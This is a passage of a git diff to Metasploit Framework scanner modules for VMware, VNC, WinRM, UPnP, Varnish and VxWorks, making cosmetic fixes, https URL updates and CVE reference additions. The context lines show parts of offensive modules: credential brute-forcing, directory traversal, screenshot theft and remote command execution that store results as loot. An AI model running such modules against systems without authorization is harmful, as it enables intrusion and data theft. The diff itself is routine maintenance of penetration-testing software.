           #Add Report
           report_note(
             :host	=> ip,
@@ -68,5 +66,4 @@ class MetasploitModule < Msf::Auxiliary
       udp_sock.close
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/udp_scanner_template.rb b/modules/auxiliary/scanner/udp/example.rb
similarity index 88%
rename from modules/auxiliary/scanner/udp_scanner_template.rb
rename to modules/auxiliary/scanner/udp/example.rb
index d05c8fd5b9..c7d44be249 100644
--- a/modules/auxiliary/scanner/udp_scanner_template.rb
+++ b/modules/auxiliary/scanner/udp/example.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -21,21 +21,27 @@ class MetasploitModule < Msf::Auxiliary
         ),
         'Author'         => 'Joe Contributor <joe_contributor[at]example.com>',
         'DisclosureDate' => 'Mar 15 2014',
-        'License'        => MSF_LICENSE
+        'License'        => MSF_LICENSE,
+        'References'     => [
+          [ 'CVE', '0000-0000' ], # remove or update if CVE exists
+          [ 'URL', 'https://SomeURLinCyberspace.local' ]
+        ]
       )
     )
 
     register_options(
-    [
-      # TODO: change to the port you need to scan
-      Opt::RPORT(12345)
-    ])
+      [
+        # TODO: change to the port you need to scan
+        Opt::RPORT(12345)
+      ]
+    )
 
     # TODO: add any advanced, special options here, otherwise remove
     register_advanced_options(
-    [
-      OptBool.new('SPECIAL', [true, 'Try this special thing', false])
-    ])
+      [
+        OptBool.new('SPECIAL', [true, 'Try this special thing', false])
+      ]
+    )
   end
 
   def setup
diff --git a/modules/auxiliary/scanner/udp/udp_amplification.rb b/modules/auxiliary/scanner/udp/udp_amplification.rb
index 8daa328212..545bebeaa1 100644
--- a/modules/auxiliary/scanner/udp/udp_amplification.rb
+++ b/modules/auxiliary/scanner/udp/udp_amplification.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,6 +16,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
         ]
     )
diff --git a/modules/auxiliary/scanner/upnp/ssdp_amp.rb b/modules/auxiliary/scanner/upnp/ssdp_amp.rb
index df1ca06fc8..6a581dfeab 100644
--- a/modules/auxiliary/scanner/upnp/ssdp_amp.rb
+++ b/modules/auxiliary/scanner/upnp/ssdp_amp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -17,6 +17,7 @@ class MetasploitModule < Msf::Auxiliary
       'License'     => MSF_LICENSE,
       'References'  =>
         [
+          ['CVE', '2013-5211'], # see also scanner/ntp/ntp_monlist.rb
           ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
         ],
     )
diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
index a3e0f273c7..058057c153 100644
--- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
+++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::UDPScanner
 
@@ -13,7 +12,14 @@ class MetasploitModule < Msf::Auxiliary
       'Name'        => 'UPnP SSDP M-SEARCH Information Discovery',
       'Description' => 'Discover information from UPnP-enabled systems',
       'Author'      => [ 'todb', 'hdm'], # Original scanner module and vuln info reporter, respectively
-      'License'     => MSF_LICENSE
+      'License'     => MSF_LICENSE,
+      'References'  =>
+        [
+          ['CVE', '2012-5958'],
+          ['CVE', '2012-5959'],
+          ['CVE', '2013-0230'],
+          ['CVE', '2013-0229']
+        ]
     )
 
     register_options( [
diff --git a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
index 01e4e5ae95..c5cf4dba78 100644
--- a/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
+++ b/modules/auxiliary/scanner/varnish/varnish_cli_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'metasploit/framework/login_scanner/varnish'
 require 'metasploit/framework/tcp/client'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary
     begin
       connect
       if !require_auth?
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: No Authentication Required"
+        print_good "#{ip}:#{rport} - Login Successful: No Authentication Required"
         close_session
         disconnect
         return
@@ -89,10 +88,10 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential.private}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential.private}"
       else
         invalidate_login(credential_data)
-        vprint_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
+        vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential.private}"
       end
     end
   end
diff --git a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb
index f342e36371..3756718fcc 100644
--- a/modules/auxiliary/scanner/vmware/esx_fingerprint.rb
+++ b/modules/auxiliary/scanner/vmware/esx_fingerprint.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -94,5 +91,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmauthd_login.rb b/modules/auxiliary/scanner/vmware/vmauthd_login.rb
index abcdea7cb2..96352925a4 100644
--- a/modules/auxiliary/scanner/vmware/vmauthd_login.rb
+++ b/modules/auxiliary/scanner/vmware/vmauthd_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/vmauthd'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
diff --git a/modules/auxiliary/scanner/vmware/vmauthd_version.rb b/modules/auxiliary/scanner/vmware/vmauthd_version.rb
index abf0cd7665..7716ffd66c 100644
--- a/modules/auxiliary/scanner/vmware/vmauthd_version.rb
+++ b/modules/auxiliary/scanner/vmware/vmauthd_version.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/exploit/tcp'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -63,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary
       banner << " Certificate:#{cert.subject.to_s}"
     end
 
-    print_status "#{rhost}:#{rport} Banner: #{banner}"
+    print_good "#{rhost}:#{rport} Banner: #{banner}"
 
     report_service(
       :host  => rhost,
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
index ec462d33df..07cbf53d68 100644
--- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::VIMSoap
   include Msf::Exploit::Remote::HttpClient
@@ -42,11 +40,11 @@ class MetasploitModule < Msf::Auxiliary
       esx_roles = vim_get_roles
       case esx_roles
       when :noresponse
-        print_error "Recieved no Response from #{ip}"
+        print_error "Received no response from #{ip}"
       when :expired
         print_error "The login session appears to have expired on #{ip}"
       when :error
-        print_error "An error occured while trying to enumerate the roles on #{ip}"
+        print_error "An error occurred while trying to enumerate the roles on #{ip}"
       else
         esx_roles.each do |role|
           role_map[role['roleId']] = {
@@ -60,11 +58,11 @@ class MetasploitModule < Msf::Auxiliary
       esx_permissions = vim_get_all_permissions
       case esx_permissions
       when :noresponse
-        print_error "Recieved no Response from #{ip}"
+        print_error "Received no response from #{ip}"
       when :expired
         print_error "The login session appears to have expired on #{ip}"
       when :error
-        print_error "An error occured while trying to enumerate the permissions on #{ip}"
+        print_error "An error occurred while trying to enumerate the permissions on #{ip}"
       else
         tmp_perms = Rex::Text::Table.new(
             'Header'  => "Permissions for VMWare #{ip}",
@@ -79,12 +77,11 @@ class MetasploitModule < Msf::Auxiliary
         print_good tmp_perms.to_s
 
         f = store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
-        vprint_status("Permission info stored in: #{f}")
+        vprint_good("Permission info stored in: #{f}")
       end
     else
-      print_error "Login Failure on #{ip}"
+      print_error "Login failure on #{ip}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb
index fed2772f5c..aa94d4046a 100644
--- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::VIMSoap
   include Msf::Exploit::Remote::HttpClient
@@ -39,11 +37,11 @@ class MetasploitModule < Msf::Auxiliary
       vim_sessions = vim_get_session_list
       case vim_sessions
       when :noresponse
-        print_error "Connection Error - Recieved No Reply from #{ip}"
+        print_error "Connection error - Received no reply from #{ip}"
       when :error
-        print_error "An error has occured"
+        print_error "An error has occurred"
       when :expired
-        print_error "The Session is no longer Authenticated"
+        print_error "The session is no longer authenticated"
       else
         output = ''
         vim_sessions.each do |vsession|
@@ -64,13 +62,12 @@ class MetasploitModule < Msf::Auxiliary
         end
         unless output.empty?
           f = store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
-          vprint_status("Login sessions stored in: #{f}")
+          vprint_good("Login sessions stored in: #{f}")
         end
       end
     else
-      print_error "Login Failure on #{ip}"
+      print_error "Login failure on #{ip}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb
index 75e705fde3..1d19021d3f 100644
--- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::VIMSoap
   include Msf::Exploit::Remote::HttpClient
@@ -52,11 +50,11 @@ class MetasploitModule < Msf::Auxiliary
       unless user_list.nil?
         case user_list
         when :noresponse
-          print_error "Recieved no Response from #{ip}"
+          print_error "Received no response from #{ip}"
         when :expired
           print_error "The login session appears to have expired on #{ip}"
         when :error
-          print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
+          print_error "An error occurred while trying to enumerate the users for #{domain} on #{ip}"
         else
           user_list.each do |obj|
             if obj['group'] == 'true'
@@ -76,11 +74,11 @@ class MetasploitModule < Msf::Auxiliary
       esx_domains = vim_get_domains
       case esx_domains
       when :noresponse
-        print_error "Recieved no Response from #{ip}"
+        print_error "Received no response from #{ip}"
       when :expired
         print_error "The login session appears to have expired on #{ip}"
       when :error
-        print_error "An error occured while trying to enumerate the domains on #{ip}"
+        print_error "An error occurred while trying to enumerate the domains on #{ip}"
       else
         # Enumerate Domain Users and Groups
         esx_domains.each do |domain|
@@ -101,11 +99,11 @@ class MetasploitModule < Msf::Auxiliary
           when nil
             next
           when :noresponse
-            print_error "Recieved no Response from #{ip}"
+            print_error "Received no response from #{ip}"
           when :expired
             print_error "The login session appears to have expired on #{ip}"
           when :error
-            print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
+            print_error "An error occurred while trying to enumerate the users for #{domain} on #{ip}"
           else
             user_list.each do |obj|
               if obj['group'] == 'true'
@@ -125,9 +123,8 @@ class MetasploitModule < Msf::Auxiliary
         end
       end
     else
-      print_error "Login Failure on #{ip}"
+      print_error "Login failure on #{ip}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb
index d59f13afce..53559394e6 100644
--- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -70,11 +67,10 @@ class MetasploitModule < Msf::Auxiliary
       end
 
       f = store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
-      vprint_status("VM info stored in: #{f}")
+      vprint_good("VM info stored in: #{f}")
     else
       print_error "Login Failure on #{ip}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb
index ad8985de97..4715cd473e 100644
--- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -42,11 +39,10 @@ class MetasploitModule < Msf::Auxiliary
       print_good output
 
       f = store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
-      vprint_status("Host details stored in: #{f}")
+      vprint_good("Host details stored in: #{f}")
     else
       print_error "Login Failure on #{ip}"
       return
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
index c75927ad0e..be7ec8ee11 100644
--- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb
@@ -1,12 +1,10 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::VIMSoap
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
index 88e4facb46..1300dc4816 100644
--- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::VIMSoap
@@ -18,7 +15,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description'    => %Q{
         This module uses supplied login credentials to connect to VMWare via
         the web interface. It then searches through the datastores looking for screenshots.
-        It will downlaod any screenshots it finds and save them as loot.
+        It will download any screenshots it finds and save them as loot.
       },
       'Author'         => ['theLightCosine'],
       'License'        => MSF_LICENSE
@@ -90,7 +87,7 @@ class MetasploitModule < Msf::Auxiliary
       if res.code == 200
         img = res.body
         ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
-        print_status "Screenshot saved to #{ss_path}"
+        print_good "Screenshot saved to #{ss_path}"
       else
         print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
       end
@@ -99,5 +96,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb
index 61f7f55fc1..a3e445a063 100644
--- a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -57,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary
 
       if res.code == 200
         #print_status("Output Of Requested File:\n#{res.body}")
-        print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
+        print_good("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
         report_vuln(
           {
             :host   => target_host,
@@ -78,5 +78,4 @@ class MetasploitModule < Msf::Auxiliary
     rescue ::Timeout::Error, ::Errno::EPIPE
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb
index 2c1afe20e8..a06e5bd226 100644
--- a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb
+++ b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -64,7 +63,7 @@ class MetasploitModule < Msf::Auxiliary
     else
       print_good("File retrieved from: #{ip}")
       p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
-      print_status("File stored in: #{p}")
+      print_good("File stored in: #{p}")
     end
   end
 end
diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb
index c86f14bb6f..24f3ddc850 100644
--- a/modules/auxiliary/scanner/vnc/vnc_login.rb
+++ b/modules/auxiliary/scanner/vnc/vnc_login.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -8,7 +8,6 @@ require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner/vnc'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Scanner
   include Msf::Auxiliary::Report
@@ -101,7 +100,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
@@ -109,5 +108,4 @@ class MetasploitModule < Msf::Auxiliary
     end
 
   end
-
 end
diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb
index bbce7b8e45..233ffb254b 100644
--- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb
+++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'rex/proto/rfb'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::Tcp
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -17,6 +16,7 @@ class MetasploitModule < Msf::Auxiliary
       'Description' => 'Detect VNC servers that support the "None" authentication method.',
       'References'  =>
         [
+          ['CVE', '2006-2369'], # a related instance where "None" could be offered and used when not configured as allowed.
           ['URL', 'http://en.wikipedia.org/wiki/RFB'],
           ['URL', 'http://en.wikipedia.org/wiki/Vnc'],
         ],
@@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
       end
 
       ver = "#{vnc.majver}.#{vnc.minver}"
-      print_status("#{target_host}:#{rport} - VNC server protocol version: #{ver}")
+      print_good("#{target_host}:#{rport} - VNC server protocol version: #{ver}")
       svc = report_service(
         :host => rhost,
         :port => rport,
diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb
index 08441a80d4..c48837d53d 100644
--- a/modules/auxiliary/scanner/voice/recorder.rb
+++ b/modules/auxiliary/scanner/voice/recorder.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'fileutils'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Auxiliary::IAX2
 
   def initialize
@@ -69,5 +68,4 @@ class MetasploitModule < Msf::Auxiliary
       # Next call
     end
   end
-
 end
diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb
index 613031387b..81613f75b2 100644
--- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb
+++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -135,7 +132,7 @@ class MetasploitModule < Msf::Auxiliary
     if data[48,64] =~ /^.{1,16}\(\d+,\d+\)/
       buff = data[48, data.length-48]
       boot,left = buff.split("\x00", 2)
-      print_status("#{pkt[1]}: BOOT> #{boot}")
+      print_good("#{pkt[1]}: BOOT> #{boot}")
       report_note(
         :host   => pkt[1],
         :port   => datastore['RPORT'],
@@ -150,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary
     res = wdbrpc_parse_connect_reply(data)
 
     if res[:rt_membase]
-      print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
+      print_good("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
 
       report_note(
         :host   => pkt[1],
diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb
index 043bccf6e7..decf252782 100644
--- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb
+++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb
@@ -1,12 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WDBRPC
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::Scanner
@@ -130,7 +127,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     res = wdbrpc_parse_connect_reply(data)
-    print_status("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
+    print_good("#{pkt[1]}: #{res[:rt_vers]} #{res[:rt_bsp_name]} #{res[:rt_bootline]}")
 
     report_note(
       :host   => pkt[1],
diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb
index 5dc725e132..9de0744f26 100644
--- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb
+++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
-
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WinRM
   include Msf::Auxiliary::Report
 
diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb
index fd54db5851..831c92487e 100644
--- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb
+++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb
@@ -1,15 +1,13 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 
 
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WinRM
   include Msf::Auxiliary::Report
 
@@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary
     print_good streams['stdout']
     if datastore['SAVE_OUTPUT']
       path = store_loot("winrm.cmd_results", "text/plain", ip, streams['stdout'], "winrm_cmd_results.txt", "WinRM CMD Results")
-      print_status "Results saved to #{path}"
+      print_good "Results saved to #{path}"
     end
   end
 
diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb
index 48f54b0ea6..a335b90a94 100644
--- a/modules/auxiliary/scanner/winrm/winrm_login.rb
+++ b/modules/auxiliary/scanner/winrm/winrm_login.rb
@@ -1,16 +1,14 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/proto/ntlm/message'
 require 'metasploit/framework/credential_collection'
 require 'metasploit/framework/login_scanner'
 require 'metasploit/framework/login_scanner/winrm'
 
 class MetasploitModule < Msf::Auxiliary
-
   include Msf::Exploit::Remote::WinRM
   include Msf::Auxiliary::Report
   include Msf::Auxiliary::AuthBrute
@@ -74,7 +72,7 @@ class MetasploitModule < Msf::Auxiliary
         credential_data[:core] = credential_core
         create_credential_login(credential_data)
 
-        print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
+        print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
       else
         invalidate_login(credential_data)
         vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
@@ -87,7 +85,6 @@ class MetasploitModule < Msf::Auxiliary
   def test_request
     return winrm_wql_msg("Select Name,Status from Win32_Service")
   end
-
 end
 
 =begin
diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb
index 5ea062d8b2..c39787f6f4 100644
--- a/modules/auxiliary/scanner/winrm/winrm_wql.rb
+++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb
@@ -1,14 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
